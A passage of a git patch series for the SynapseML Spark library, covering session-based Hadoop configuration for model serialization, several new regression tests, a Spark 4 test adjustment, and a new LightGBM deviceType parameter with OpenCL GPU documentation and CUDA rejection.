unsupported + * on Databricks Unity Catalog standard access mode, so deriving the configuration from the + * session is what keeps model persistence working there. This mirrors Spark MLlib's own + * `session.sessionState.newHadoopConf()`. It also layers in session-level conf, which + * `sparkContext.hadoopConfiguration` alone does not. + */ + private[ml] def sessionHadoopConf(spark: SparkSession): Configuration = + spark.sessionState.newHadoopConf() + /** Writes the object to the given path. * * @param obj The object to write. * @param outputPath Where to write the object */ - def writeToHDFS[O](sc: SparkContext, obj: O, outputPath: Path, overwrite: Boolean) + def writeToHDFS[O](spark: SparkSession, obj: O, outputPath: Path, overwrite: Boolean) (implicit ttag: TypeTag[O]): Unit = { - val hadoopConf = sc.hadoopConfiguration - using(outputPath.getFileSystem(hadoopConf).create(outputPath, overwrite)) { os => + using(outputPath.getFileSystem(sessionHadoopConf(spark)).create(outputPath, overwrite)) { os => write[O](obj, os)(ttag) }.get } @@ -82,16 +92,18 @@ object Serializer { * @param path The main path for model to load the object from. * @return The loaded object. */ - def readFromHDFS[O](sc: SparkContext, path: Path)(implicit ttag: TypeTag[O]): O = { - val hadoopConf = sc.hadoopConfiguration - using(path.getFileSystem(hadoopConf).open(path)) { in => + def readFromHDFS[O](spark: SparkSession, path: Path)(implicit ttag: TypeTag[O]): O = { + using(path.getFileSystem(sessionHadoopConf(spark)).open(path)) { in => read[O](in)(ttag) }.get } - def makeQualifiedPath(sc: SparkContext, path: String): Path = { + def makeQualifiedPath(spark: SparkSession, path: String): Path = { + makeQualifiedPath(sessionHadoopConf(spark), path) + } + + private def makeQualifiedPath(hadoopConf: Configuration, path: String): Path = { val modelPath = new Path(path) - val hadoopConf = sc.hadoopConfiguration // Note: to get correct working dir, must use root path instead of root + part val fs = modelPath.getFileSystem(hadoopConf) modelPath.makeQualified(fs.getUri, fs.getWorkingDirectory) @@ -99,10 +111,11 @@ object Serializer { } -class ObjectSerializer[O](sc: SparkContext)(implicit ttag: TypeTag[O]) extends Serializer[O] { - def write(obj: O, path: Path, overwrite: Boolean): Unit = Serializer.writeToHDFS(sc, obj, path, overwrite) +class ObjectSerializer[O](spark: SparkSession)(implicit ttag: TypeTag[O]) extends Serializer[O] { + + def write(obj: O, path: Path, overwrite: Boolean): Unit = Serializer.writeToHDFS(spark, obj, path, overwrite) - def read(path: Path): O = Serializer.readFromHDFS(sc, path) + def read(path: Path): O = Serializer.readFromHDFS(spark, path) } class DFSerializer(spark: SparkSession) extends Serializer[DataFrame] { diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/serialize/ValidateComplexParamSerializer.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/serialize/ValidateComplexParamSerializer.scala index 919e73a66ce..d349e0b20b9 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/core/serialize/ValidateComplexParamSerializer.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/core/serialize/ValidateComplexParamSerializer.scala @@ -3,12 +3,14 @@ package com.microsoft.azure.synapse.ml.core.serialize +import com.microsoft.azure.synapse.ml.core.env.StreamUtilities.using import com.microsoft.azure.synapse.ml.core.test.base.TestBase import com.microsoft.azure.synapse.ml.param.ByteArrayParam import org.apache.commons.io.FileUtils +import org.apache.hadoop.fs.Path import org.apache.spark.ml.param.{Param, ParamMap, Params} import org.apache.spark.ml.util._ -import org.apache.spark.ml.{ComplexParamsReadable, ComplexParamsWritable, Transformer} +import org.apache.spark.ml.{ComplexParamsReadable, ComplexParamsWritable, ObjectSerializer, Serializer, Transformer} import org.apache.spark.sql.types.StructType import org.apache.spark.sql.{DataFrame, Dataset} @@ -104,6 +106,43 @@ class ValidateComplexParamSerializer extends TestBase { assert(mpt1.getStringParam === mpt2.getStringParam) } + test("Complex Param serialization should read metadata written by the legacy SparkContext path") { + spark + val bytes = "foo".toCharArray.map(_.toByte) + + val mpt1 = new MixedParamTest("foo").setByteArray(bytes).setStringParam("foo") + mpt1.write.overwrite().save(saveFile) + + // Rewrite the metadata the way SynapseML wrote it before the reader moved off + // SparkContext.textFile, so this asserts that models saved by earlier versions still + // load rather than just round-tripping the current writer against the current reader. + val metadataDir = new File(saveFile, "metadata") + val metadataJson = spark.read.text(metadataDir.toString).first().getString(0) + FileUtils.deleteDirectory(metadataDir) + spark.sparkContext.parallelize(Seq(metadataJson), 1).saveAsTextFile(metadataDir.toString) + + val mpt2 = MixedParamTest.load(saveFile) + assert(mpt1.getByteArray === mpt2.getByteArray) + assert(mpt1.getStringParam === mpt2.getStringParam) + } + + test("Objects written the way earlier versions wrote them still load through the session path") { + spark + val obj = "round-trip payload".toCharArray.map(_.toByte) + val legacyPath = new Path(new File(tmpDir.toFile, "legacy-object").toString) + + // Reproduce the previous write path byte for byte: the FileSystem resolved from the + // SparkContext Hadoop configuration rather than from the session, writing through the same + // Serializer.write. Only the configuration lookup moved, so this pins that the on-disk format + // is unchanged and that objects written by earlier SynapseML versions still load. + using(legacyPath.getFileSystem(spark.sparkContext.hadoopConfiguration).create(legacyPath, true)) { os => + Serializer.write(obj, os) + }.get + + assert(new ObjectSerializer[Array[Byte]](spark).read(legacyPath) === obj) + assert(Serializer.readFromHDFS[Array[Byte]](spark, legacyPath) === obj) + } + override def afterAll(): Unit = { new File(saveFile).delete() new File(saveFile2).delete() diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/VerifySynapseMLLogging.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/VerifySynapseMLLogging.scala index ca9ffa7aa32..fdbf3f070e0 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/VerifySynapseMLLogging.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/logging/VerifySynapseMLLogging.scala @@ -5,6 +5,7 @@ package com.microsoft.azure.synapse.ml.logging import com.microsoft.azure.synapse.ml.build.BuildInfo import com.microsoft.azure.synapse.ml.core.test.base.TestBase +import org.apache.spark.sql.SparkSession class VerifySynapseMLLogging extends TestBase { @@ -109,4 +110,77 @@ class VerifySynapseMLLogging extends TestBase { SynapseMLLogging.LoggedClasses.remove("TestClass") } } + + /** Runs `f` with `spark` as the active session, restoring a previously-active session if there + * was one. + * + * `getHadoopConfEntries` resolves its configuration through `SparkSession.getActiveSession`, so + * these tests need one. When another suite has left a session active on this thread it is + * restored exactly, so nothing is overwritten. + * + * When there was none, the shared session is deliberately left active rather than cleared. + * `TestBase` never establishes one — `getOrCreate` only calls `setActiveSession` on the branch + * that actually constructs the session, not when it returns an existing one — so "restoring" an + * empty previous value would clear the active session for every suite that later runs on this + * thread. `EnsembleByKey.transformSchema` falls back to `getActiveSession` and silently defaults + * `spark.sql.caseSensitive` to `false` when there is none, which turns three `EnsembleByKeySuite` + * tests red when both suites share a JVM. Leaving the shared session active is the canonical + * state, and is what every suite reading `getActiveSession` already assumes. + */ + private def withActiveSharedSession[T](f: => T): T = { + val previous = SparkSession.getActiveSession + SparkSession.setActiveSession(spark) + try f finally previous.foreach(SparkSession.setActiveSession) + } + + test("getHadoopConfEntries reads cluster-level Hadoop configuration") { + // Fabric sets the trident.* keys on the cluster Hadoop conf. getHadoopConfEntries now derives + // its conf from the session instead of spark.sparkContext, so this pins that existing + // telemetry still resolves. + withActiveSharedSession { + val hc = spark.sparkContext.hadoopConfiguration + try { + hc.set("trident.workspace.id", "ws-from-cluster") + assert(SynapseMLLogging.getHadoopConfEntries.get("workspaceId").contains("ws-from-cluster")) + } finally { + hc.unset("trident.workspace.id") + } + } + } + + test("getHadoopConfEntries reads session-level overrides") { + withActiveSharedSession { + try { + spark.conf.set("trident.artifact.id", "artifact-from-session") + assert(SynapseMLLogging.getHadoopConfEntries.get("artifactId").contains("artifact-from-session")) + } finally { + spark.conf.unset("trident.artifact.id") + } + } + } + + test("getHadoopConfEntries returns only known telemetry field names") { + withActiveSharedSession { + val known = SynapseMLLogging.HadoopKeysToLog.values.toSet + assert(SynapseMLLogging.getHadoopConfEntries.keySet.subsetOf(known)) + } + } + + test("getHadoopConfEntries is empty when no session is active") { + // Runs on its own thread so that clearing the active session cannot strand suites that share + // the main test thread; SparkSession's active-session slot is a thread local. + var failure: Option[Throwable] = None + val thread = new Thread(new Runnable { + override def run(): Unit = + try { + SparkSession.clearActiveSession() + assert(SynapseMLLogging.getHadoopConfEntries.isEmpty) + } catch { + case e: Throwable => failure = Some(e) + } + }) + thread.start() + thread.join() + failure.foreach(e => throw e) + } } diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/train/VerifyComputePerInstanceStatistics.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/train/VerifyComputePerInstanceStatistics.scala index 932661c8978..3fc34e2fa7b 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/train/VerifyComputePerInstanceStatistics.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/train/VerifyComputePerInstanceStatistics.scala @@ -10,6 +10,7 @@ import com.microsoft.azure.synapse.ml.train.TrainClassifierTestUtilities._ import com.microsoft.azure.synapse.ml.train.TrainRegressorTestUtilities._ import org.apache.spark.ml.classification.LogisticRegression import org.apache.spark.ml.feature.FastVectorAssembler +import org.apache.spark.ml.linalg.{Vector, Vectors} import org.apache.spark.sql._ /** Tests to validate the functionality of Compute Per Instance Statistics module. */ @@ -121,6 +122,41 @@ class VerifyComputePerInstanceStatistics extends TestBase { validatePerInstanceClassificationStatistics(evaluatedData) } + test("Verify log loss uses the distinct label count when levels metadata is absent") { + // numLevels is derived from a distinct count over the label column. Pin that here: the label + // has three distinct values, and the final row is scored with a label equal to that count, so + // it must fall into the "no label seen in training" branch instead of indexing the vector. + // An off-by-one in the distinct count shows up either as an index error or as a wrong loss. + val probs: Vector = Vectors.dense(0.7, 0.2, 0.1) + val scoredData = spark.createDataFrame(Seq( + (0.0, probs, probs, 0.0), + (1.0, probs, probs, 1.0), + (2.0, probs, probs, 2.0), + (0.0, probs, probs, 0.0), + (1.0, probs, probs, 1.0), + (2.0, probs, probs, 3.0))) + .toDF(labelColumn, "scoresCol", "probabilitiesCol", "scoredLabelsCol") + + val evaluatedData = new ComputePerInstanceStatistics() + .setLabelCol(labelColumn) + .setScoredLabelsCol("scoredLabelsCol") + .setScoresCol("scoresCol") + .setScoredProbabilitiesCol("probabilitiesCol") + .setEvaluationMetric(MetricConstants.ClassificationMetricsName) + .transform(scoredData) + + val penalized = -Math.log(ComputePerInstanceStatistics.Epsilon) + val rows = evaluatedData.select("scoredLabelsCol", MetricConstants.LogLossMetric).collect() + assert(rows.length === 6) + assert(rows.count(r => r.getDouble(1) === penalized) === 1) + rows.foreach { row => + val scoredLabel = row.getDouble(0).toInt + val logLoss = row.getDouble(1) + val expected = if (scoredLabel < 3) -Math.log(probs(scoredLabel)) else penalized + assert(logLoss === expected) + } + } + private def validatePerInstanceRegressionStatistics(evaluatedData: DataFrame): Unit = { // Validate the per instance statistics evaluatedData.collect().foreach(row => { From a1e44f407ad27fe272df5537debc89ed666bbcf1 Mon Sep 17 00:00:00 2001 From: SynapseML CI Date: Sat, 15 Aug 2026 17:21:45 -0700 Subject: [PATCH 68/93] test: assert the EnsembleByKey session-fallback limitation on the schema The "no active session should expose the documented case-resolution limitation" test asserted the limitation indirectly, by requiring `pipeline.fit` to fail with `FEATURES does not exist`. That failure came from Spark's own VectorAssembler, not from SynapseML, and it no longer occurs on Spark 4. Measured on Spark 4.1.1 (Scala 2.13, Java 17): transformer.transformSchema(input.schema) -> key,id,score,features (unchanged) assembler.transformSchema(thatSchema) -> succeeds, adds `vector` (was: threw) thatSchema("FEATURES") -> throws FIELD_NOT_FOUND (unchanged) Spark 3.5 resolved VectorAssembler input columns with a case-sensitive StructType lookup, so it disagreed with the case-insensitive fallback EnsembleByKey applies when no session is active, and the pipeline was rejected. Spark 4 routes that lookup through SQLConf.get.resolver, which applies the same session-less fallback, so the two now agree and the pipeline builds. SynapseML's own behaviour is identical on both versions - the first two assertions in the test pass unchanged. Only the downstream Spark consequence moved. The assertion is therefore retargeted at the transformed schema, which is the stable contract across both versions and is what the test set out to document: the fallback really did drop FEATURES. The replacement passes on Spark 3.5 as well as Spark 4.1 (on 3.5 the preceding assertion already proves FEATURES is absent from the schema, so the lookup throws there too), so master and spark4.1 can carry the identical test and this does not become a recurring merge conflict. Verified: core serialize/logging/train/stages suites 328 succeeded, 0 failed; core/Test/scalastyle 0 errors. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../azure/synapse/ml/stages/EnsembleByKeySuite.scala | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKeySuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKeySuite.scala index 9fd5c993757..fb3a022994d 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKeySuite.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/stages/EnsembleByKeySuite.scala @@ -264,8 +264,14 @@ class EnsembleByKeySuite extends TestBase with TransformerFuzzing[EnsembleByKey] assert(transformedSchema.fieldNames === Array("key", "id", "score", "features")) assert(actualSchema.fieldNames === Array("key", "id", "score", "FEATURES", "features")) - val pipelineError = intercept[IllegalArgumentException](pipeline.fit(input)) - assert(pipelineError.getMessage.contains("FEATURES does not exist")) + // Assert the limitation on the transformed schema rather than on a downstream stage. + // Spark 3.5 rejected pipeline.fit here because VectorAssembler resolved its input columns + // with a case-sensitive StructType lookup, while Spark 4 routes that lookup through + // SQLConf.get.resolver and so applies the same session-less case-insensitive fallback + // used above -- the two agree and the pipeline builds. The schema itself is the stable + // contract across both versions: the fallback really did drop FEATURES. + val fieldError = intercept[IllegalArgumentException](transformedSchema("FEATURES")) + assert(fieldError.getMessage.contains("FEATURES")) } pipeline.fit(input) } From 8f1e0438a2e0d0ae7a676b5efd161ab170655ad7 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Sat, 15 Aug 2026 17:25:54 -0700 Subject: [PATCH 69/93] feat: add a deviceType parameter to the LightGBM learners (#2627) --- docs/Explore Algorithms/LightGBM/Overview.md | 52 +++ .../synapse/ml/lightgbm/LightGBMBase.scala | 31 ++ .../ml/lightgbm/LightGBMClassifier.scala | 2 +- .../ml/lightgbm/LightGBMConstants.scala | 9 + .../synapse/ml/lightgbm/LightGBMRanker.scala | 2 +- .../ml/lightgbm/LightGBMRegressor.scala | 2 +- .../synapse/ml/lightgbm/LightGBMUtils.scala | 50 +++ .../ml/lightgbm/booster/LightGBMBooster.scala | 5 +- .../ml/lightgbm/params/LightGBMParams.scala | 17 + .../split1/VerifyLightGBMCommon.scala | 309 ++++++++++++++++++ 10 files changed, 474 insertions(+), 5 deletions(-) diff --git a/docs/Explore Algorithms/LightGBM/Overview.md b/docs/Explore Algorithms/LightGBM/Overview.md index 1f8cc1e9a4d..5e765742f63 100644 --- a/docs/Explore Algorithms/LightGBM/Overview.md +++ b/docs/Explore Algorithms/LightGBM/Overview.md @@ -102,6 +102,58 @@ You can mix *passThroughArgs* and explicit args, as shown in the example. Synaps merges them to create one argument string to send to LightGBM. If you set a parameter in both places, *passThroughArgs* takes precedence. +#### GPU training with a custom OpenCL native library + +SynapseML's published `lightgbmlib` artifact contains CPU-only native libraries. Only +`deviceType="gpu"` selects an accelerator: it selects LightGBM's OpenCL learner and +requires a compatible custom native library. All `cuda` requests are rejected before +native training because LightGBM 3.3.510 CUDA is incompatible with SynapseML streaming +Datasets. + +Accelerator training is intended for users who provide their own compatible LightGBM +native build. Put both `lib_lightgbm` and `lib_lightgbm_swig` on `java.library.path` for +the Spark driver and every executor before LightGBM is initialized. `NativeLoader` checks +that path first and falls back to the CPU-only libraries packaged in the SynapseML JAR. +For example, a Spark deployment can set both `spark.driver.extraLibraryPath` and +`spark.executor.extraLibraryPath` to the directory containing the custom libraries. +The custom SWIG library must be ABI-compatible with the Java classes shipped by the +SynapseML version in use; supplying only one library can accidentally mix incompatible +custom and bundled binaries. + +SynapseML does not support `deviceType="cuda"` with `lightgbmlib` 3.3.510. Its CUDA +objective expects CUDA metadata that is not created by the serialized streaming Dataset +path and can segfault the Spark executor during booster creation. SynapseML rejects CUDA +before native training. Use `deviceType="gpu"` with an OpenCL-enabled native build; this +path supports classifier, regressor, and ranker training on NVIDIA GPUs such as T4. + +`deviceType` exposes only the accelerator backends implemented by LightGBM: + +| Value | Backend | Hardware | +| --- | --- | --- | +| `cpu` | Native CPU learner | Supported by the bundled SynapseML native library | +| `gpu` | OpenCL learner (`USE_GPU=1`) | AMD, Intel, or NVIDIA devices with a working OpenCL runtime | +| `cuda` | Unsupported with SynapseML's LightGBM 3.3.510 streaming Dataset path | Do not use | + +Apple Metal Performance Shaders (`mps`) and Habana HPU are not LightGBM tree-learning +backends and are therefore not accepted values. Apple Silicon can only be evaluated +through LightGBM's OpenCL learner and a custom macOS ARM64 native build; this is not MPS +support, Apple has deprecated OpenCL, and LightGBM documents a macOS Boost.Compute cache +workaround. Do not claim Apple Silicon GPU support without testing that exact native build, +Spark/JVM architecture, dataset correctness, and performance on supported macOS hardware. + +After installing the custom native libraries, select the learner explicitly: + +```python +model = LightGBMClassifier(deviceType="gpu").fit(train) +``` + +The default is `cpu` and does not add a `device_type` native parameter. If +*passThroughArgs* contains `device_type`, that canonical value takes precedence over both +the `device` alias and `deviceType`, regardless of argument order. If only `device` is +present, it takes precedence over `deviceType`. A native-effective value of `cuda` is +always rejected. If a requested OpenCL accelerator is unavailable, SynapseML reports that +the bundled native is CPU-only and identifies the custom-library configuration required. + ### Architecture LightGBM on Spark uses the Simple Wrapper and Interface Generator (SWIG) diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMBase.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMBase.scala index cabd4604e5e..edf578dee40 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMBase.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMBase.scala @@ -374,6 +374,28 @@ trait LightGBMBase[TrainedModel <: Model[TrainedModel] with LightGBMModelParams] getMaxStreamingOMPThreads) } + /** Adds an explicitly requested accelerator to the native parameter string. + * + * The default CPU path returns the caller's pass-through arguments unchanged. This keeps the + * existing CPU parameter string and ExecutionParams API intact. LightGBM also accepts "device" + * as an alias for "device_type", so either spelling in passThroughArgs takes precedence. + */ + protected def getEffectivePassThroughArgs: Option[String] = { + val configuredArgs = get(passThroughArgs) + if (getDeviceType == LightGBMConstants.CPUDeviceType || + configuredArgs.exists(LightGBMUtils.hasDeviceParameter)) { + configuredArgs + } else { + val deviceArg = s"device_type=$getDeviceType" + configuredArgs.filter(_.trim.nonEmpty).map(args => s"$args $deviceArg").orElse(Some(deviceArg)) + } + } + + protected def getEffectiveDeviceType: String = { + getEffectivePassThroughArgs.flatMap(LightGBMUtils.effectiveDeviceType) + .getOrElse(getDeviceType) + } + /** * Constructs the ColumnParams. * @@ -426,8 +448,11 @@ trait LightGBMBase[TrainedModel <: Model[TrainedModel] with LightGBMModelParams] } protected def getDatasetCreationParams(categoricalIndexes: Array[Int], numThreads: Int): String = { + val effectiveDeviceType = getEffectiveDeviceType new ParamsStringBuilder(prefix = "", delimiter = "=") .appendParamValueIfNotThere("is_pre_partition", Option("True")) + .appendParamValueIfNotThere("device_type", + if (effectiveDeviceType == LightGBMConstants.CPUDeviceType) None else Option(effectiveDeviceType)) .appendParamValueIfNotThere("max_bin", Option(getMaxBin)) .appendParamValueIfNotThere("bin_construct_sample_cnt", Option(getBinSampleCount)) .appendParamValueIfNotThere("min_data_in_leaf", Option(getMinDataInLeaf)) @@ -453,6 +478,12 @@ trait LightGBMBase[TrainedModel <: Model[TrainedModel] with LightGBMModelParams] val numTasksPerExecutor = ClusterUtil.getNumTasksPerExecutor(dataset.sparkSession, log) val numTasks = determineNumTasks(dataset, getNumTasks, numTasksPerExecutor) + if (getEffectiveDeviceType == LightGBMConstants.CUDADeviceType) { + throw new IllegalArgumentException( + "deviceType=cuda is not supported by SynapseML's LightGBM 3.3.510 integration. " + + "The upstream CUDA objective dereferences missing CUDA metadata for SynapseML streaming Datasets and " + + "can crash the Spark executor. Use deviceType=gpu with an OpenCL-enabled custom native library.") + } val sc = dataset.sparkSession.sparkContext val df = prepareDataframe(dataset, numTasks) diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMClassifier.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMClassifier.scala index 819a74d0d68..5695dc6eab2 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMClassifier.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMClassifier.scala @@ -42,7 +42,7 @@ class LightGBMClassifier(override val uid: String) def getTrainParams(numTasks: Int, featuresSchema: StructField, numTasksPerExec: Int): BaseTrainParams = { ClassifierTrainParams( - get(passThroughArgs), + getEffectivePassThroughArgs, getIsUnbalance, getBoostFromAverage, get(isProvideTrainingMetric), diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMConstants.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMConstants.scala index bd7f4c1499f..ebda0966525 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMConstants.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMConstants.scala @@ -46,6 +46,15 @@ object LightGBMConstants { /** Sampling mode take first n rows. */ val SubsetSamplingModeFixed: String = "fixed" + /** Tree learning on the CPU. This is LightGBM's own default. + */ + val CPUDeviceType: String = "cpu" + /** Tree learning on an OpenCL GPU. + */ + val GPUDeviceType: String = "gpu" + /** Tree learning on a CUDA GPU. + */ + val CUDADeviceType: String = "cuda" /** Enabled task, used to indicate task that creates lightgbm dataset and runs training. */ val EnabledTask: String = "enabledTask" diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMRanker.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMRanker.scala index f469fbd5d08..a87fc59392b 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMRanker.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMRanker.scala @@ -50,7 +50,7 @@ class LightGBMRanker(override val uid: String) def getTrainParams(numTasks: Int, featuresSchema: StructField, numTasksPerExec: Int): BaseTrainParams = { RankerTrainParams( - get(passThroughArgs), + getEffectivePassThroughArgs, getMaxPosition, getLabelGain, getEvalAt, diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMRegressor.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMRegressor.scala index 405a1a85bb8..dfe5ee8629e 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMRegressor.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMRegressor.scala @@ -59,7 +59,7 @@ class LightGBMRegressor(override val uid: String) def getTrainParams(numTasks: Int, featuresSchema: StructField, numTasksPerExec: Int): BaseTrainParams = { RegressorTrainParams( - get(passThroughArgs), + getEffectivePassThroughArgs, getAlpha, getTweedieVariancePower, getBoostFromAverage, diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMUtils.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMUtils.scala index e04b896e399..52da2fceb0e 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMUtils.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/LightGBMUtils.scala @@ -10,8 +10,50 @@ import org.apache.spark.ml.PipelineModel import org.apache.spark.sql.Dataset import org.apache.spark.{SparkEnv, TaskContext} +import java.util.Locale + /** Helper utilities for LightGBM learners */ object LightGBMUtils { + private val DeviceParamNames = Set("device", "device_type") + + private def removeLightGBMQuotationSymbols(value: String): String = { + def isQuote(char: Char): Boolean = char == '\'' || char == '"' + value.dropWhile(isQuote).reverse.dropWhile(isQuote).reverse + } + + private[lightgbm] def parseLightGBMParams(args: String): Map[String, String] = { + args.split("[ \\t\\n\\r]+").iterator.filter(_.nonEmpty).foldLeft(Map.empty[String, String]) { + case (params, token) => + val parts = token.split("=", -1).filter(_.nonEmpty) + if (parts.length == 2) { + val key = removeLightGBMQuotationSymbols(parts(0).trim) + val value = removeLightGBMQuotationSymbols(parts(1).trim) + if (key.nonEmpty && !params.contains(key)) params + (key -> value) else params + } else { + params + } + } + } + + private[lightgbm] def hasDeviceParameter(parameters: String): Boolean = + parseLightGBMParams(parameters).keys.exists(DeviceParamNames) + + private[lightgbm] def effectiveDeviceType(parameters: String): Option[String] = { + val params = parseLightGBMParams(parameters) + params.get("device_type").orElse(params.get("device")).map(_.toLowerCase(Locale.ROOT)) + } + + private[lightgbm] def boosterFailureGuidance(parameters: String): String = { + effectiveDeviceType(parameters) + .filter(device => device == LightGBMConstants.GPUDeviceType || device == LightGBMConstants.CUDADeviceType) + .map { device => + s" Requested device_type=$device. SynapseML's bundled LightGBM native libraries are CPU-only; " + + "GPU/CUDA training requires compatible custom lib_lightgbm and lib_lightgbm_swig libraries on " + + "java.library.path for every Spark driver and executor before LightGBM is initialized." + } + .getOrElse("") + } + def validate(result: Int, component: String): Unit = { if (result == -1) { throw new Exception(component + " call failed in LightGBM with error: " @@ -19,6 +61,14 @@ object LightGBMUtils { } } + def validateBooster(result: Int, parameters: String): Unit = { + if (result == -1) { + val nativeError = lightgbmlib.LGBM_GetLastError() + val guidance = boosterFailureGuidance(parameters) + throw new Exception(s"Booster call failed in LightGBM with error: $nativeError$guidance") + } + } + def validateArray(result: SWIGTYPE_p_void, component: String): Unit = { if (result == null) { throw new Exception(component + " call failed in LightGBM with error: " diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/booster/LightGBMBooster.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/booster/LightGBMBooster.scala index e5a10b371ac..f5208075b83 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/booster/LightGBMBooster.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/booster/LightGBMBooster.scala @@ -238,8 +238,9 @@ class LightGBMBooster(val trainDataset: Option[LightGBMDataset] = None, new BoosterHandler(modelStr.get) } else { val boosterOutPtr = lightgbmlib.voidpp_handle() - LightGBMUtils.validate(lightgbmlib.LGBM_BoosterCreate(trainDataset.map(_.datasetPtr).get, - parameters.get, boosterOutPtr), "Booster") + val trainingParameters = parameters.get + LightGBMUtils.validateBooster(lightgbmlib.LGBM_BoosterCreate(trainDataset.map(_.datasetPtr).get, + trainingParameters, boosterOutPtr), trainingParameters) new BoosterHandler(lightgbmlib.voidpp_value(boosterOutPtr)) } } diff --git a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/params/LightGBMParams.scala b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/params/LightGBMParams.scala index 57d40e89c17..d260da0c518 100644 --- a/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/params/LightGBMParams.scala +++ b/lightgbm/src/main/scala/com/microsoft/azure/synapse/ml/lightgbm/params/LightGBMParams.scala @@ -143,6 +143,23 @@ trait LightGBMExecutionParams extends Wrappable { def getMatrixType: String = $(matrixType) def setMatrixType(value: String): this.type = set(matrixType, value) + val deviceType = new Param[String](this, "deviceType", + "Device for tree learning: cpu or gpu (OpenCL). Default is cpu. SynapseML's bundled native LightGBM library " + + "is CPU-only; gpu requires compatible custom native libraries on java.library.path for every driver and " + + "executor. The LightGBM 3.3.510 CUDA backend is incompatible with SynapseML streaming Datasets.", + ParamValidators.inArray(Array(LightGBMConstants.CPUDeviceType, + LightGBMConstants.GPUDeviceType))) + setDefault(deviceType -> LightGBMConstants.CPUDeviceType) + def getDeviceType: String = $(deviceType) + def setDeviceType(value: String): this.type = { + if (value == LightGBMConstants.CUDADeviceType) { + throw new IllegalArgumentException( + "deviceType=cuda is not supported by SynapseML's LightGBM 3.3.510 integration because it can crash " + + "Spark executors. Use deviceType=gpu with an OpenCL-enabled custom native library.") + } + set(deviceType, value) + } + val numThreads = new IntParam(this, "numThreads", "Number of threads per executor for LightGBM. For the best speed, set this to the number of real CPU cores.") setDefault(numThreads -> 0) diff --git a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/VerifyLightGBMCommon.scala b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/VerifyLightGBMCommon.scala index e6e0015dc31..a57b5427f03 100644 --- a/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/VerifyLightGBMCommon.scala +++ b/lightgbm/src/test/scala/com/microsoft/azure/synapse/ml/lightgbm/split1/VerifyLightGBMCommon.scala @@ -6,11 +6,15 @@ package com.microsoft.azure.synapse.ml.lightgbm.split1 import com.microsoft.azure.synapse.ml.core.test.base.TestBase import com.microsoft.azure.synapse.ml.lightgbm._ import com.microsoft.azure.synapse.ml.lightgbm.dataset.{ChunkedArrayUtils, SampledData} +import com.microsoft.azure.synapse.ml.lightgbm.params.{BaseTrainParams, ExecutionParams} import com.microsoft.azure.synapse.ml.lightgbm.swig.{DoubleChunkedArray, DoubleSwigArray, IntSwigArray, 